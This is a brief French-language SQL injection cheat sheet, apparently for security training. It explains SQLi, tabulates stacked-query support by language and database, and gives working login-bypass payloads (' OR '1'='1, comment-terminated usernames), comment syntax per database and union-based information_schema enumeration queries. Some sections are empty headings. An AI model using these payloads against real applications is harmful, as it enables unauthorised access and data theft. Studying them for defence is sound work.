Alex GARRIDO - @Zeecka_
La faille SQLi, abréviation de SQL Injection, soit injection SQL en français, est un groupe de méthodes d'exploitation de faille de sécurité d'une application interagissant avec une base de données (sql).
Exécution de plusieurs requêtes en une seule transaction.
SQL Serv | MySQL | PostGre | Oracle | Access | |
ASP | O | ? | ? | ? | N |
ASP.net | O | ? | ? | ? | N |
PHP | O | N | O | ? | N |
JAVA | ? | ? | ? | N | N |
Source: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
$user: Zeecka
$pass: p@$$w0rd
$user: Zeecka
$pass: " OR "1"="1
$user: Zeecka" --
$pass:
MySQL: #, -- , /*
MS SQL: -- , /*
MS Access: %00
Oracle: -- , /*
Exploitation d'injections dites "Union Based":
SELECT schema_name FROM information_schema.schemata;
SELECT distinct(db) FROM mysql.db;
SELECT table_name FROM information_schema.tables WHERE table_schema = "dbname";
SELECT column_name FROM information_schema.columns WHERE table_schema = "dbname" AND table_name = "matable";
Tester des conditions booléennes
Exemple:
Requêtes préparées